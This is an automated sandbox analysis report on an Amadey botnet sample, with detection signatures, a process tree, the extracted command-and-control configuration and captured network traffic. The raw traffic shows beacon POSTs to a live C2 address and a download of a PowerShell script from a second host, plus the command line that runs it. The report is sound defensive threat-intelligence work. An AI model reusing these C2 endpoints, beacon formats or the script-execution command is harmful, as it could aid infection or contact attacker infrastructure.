Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561683
MD5:	5ca58d76edc0e7291bf3d6bad7edbbe9
SHA1:	694124bf2e8d817b7f188706bbc49d0088317fe2
SHA256:	d4e13faefc09eb85be337713e8899e9f6761d45593e33d19b14ac6f986b2a103
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Hides threads from debuggers

Loading BitLocker PowerShell Module

Machine Learning detection for sample

PE file contains section with special chars

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 7320 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 5CA58D76EDC0E7291BF3D6BAD7EDBBE9)

skotes.exe (PID: 7564 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 5CA58D76EDC0E7291BF3D6BAD7EDBBE9)

skotes.exe (PID: 7548 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 5CA58D76EDC0E7291BF3D6BAD7EDBBE9)

skotes.exe (PID: 6480 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 5CA58D76EDC0E7291BF3D6BAD7EDBBE9)

powershell.exe (PID: 6768 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008615041\KQGBYWk.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 7376 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6660 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=1896,i,6279673356786267124,1049991761834270204,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1656 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4112 --field-trial-handle=1896,i,6279673356786267124,1049991761834270204,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7368 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4504 --field-trial-handle=1896,i,6279673356786267124,1049991761834270204,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7396 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.youtube.com/account MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5400 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2224 --field-trial-handle=2096,i,9265304522972539897,9185506368956134932,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

firefox.exe (PID: 7456 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

svchost.exe (PID: 7672 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

firefox.exe (PID: 5692 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2928 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4260 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2228 -parentBuildID 20230927232528 -prefsHandle 2152 -prefMapHandle 2132 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a3c6f543-2f64-46ba-bc00-280bf6150280} 2928 "\\.\pipe\gecko-crash-server-pipe.2928" 1a8a5f6cf10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 8952 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1136 -parentBuildID 20230927232528 -prefsHandle 4464 -prefMapHandle 4460 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {28e04a16-f2f3-4c95-9817-ee287afde24a} 2928 "\\.\pipe\gecko-crash-server-pipe.2928" 1a8b8c3fb10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6324 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3164 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 5300 -prefMapHandle 3188 -prefsLen 33119 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f24f9574-f2ff-4886-877e-c3019b1407de} 2928 "\\.\pipe\gecko-crash-server-pipe.2928" 1a8b74c0910 utility MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

msedge.exe (PID: 8172 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.youtube.com/account MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 1968 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2376 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 3652 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6864 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6448 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6896 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5864 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-GB --service-sandbox-type=audio --mojo-platform-channel-handle=6812 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 3452 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7660 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 1048 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=price_comparison_service.mojom.DataProcessor --lang=en-GB --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=7708 --field-trial-handle=2220,i,11003867932119909055,5800491928789233358,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000002.00000003.2080301971.0000000005470000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2041944426.0000000004B10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000003.2082994524.0000000005440000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.2672497504.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.2123212600.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.2120598365.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2082959480.0000000000311000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
6.2.skotes.exe.ec0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.ec0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.ec0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.310000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008615041\KQGBYWk.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008615041\KQGBYWk.ps1", CommandLine|base64offset|contains: ^rbzh'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentImage: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentProcessId: 6480, ParentProcessName: skotes.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008615041\KQGBYWk.ps1", ProcessId: 6768, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008615041\KQGBYWk.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008615041\KQGBYWk.ps1", CommandLine|base64offset|contains: ^rbzh'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentImage: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentProcessId: 6480, ParentProcessName: skotes.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008615041\KQGBYWk.ps1", ProcessId: 6768, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7672, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T04:23:32.129555+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49881	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T04:23:05.653207+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49812	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T04:23:30.699741+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49869	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T04:23:28.706916+0100	2803305	3	Unknown Traffic	192.168.2.5	49872	31.41.244.11	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.phpkAl	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/3405117-2476756634-1003	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php;A	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000002.00000003.2080301971.0000000005470000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.43/Zu7JuNko/index.php;A

Virustotal: Detection: 16%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

ReversingLabs: Detection: 55%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50094 version: TLS 1.2

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 252MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49812 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49881 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49869

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/5124158732/KQGBYWk.ps1 HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 36 31 35 30 34 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008615041&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
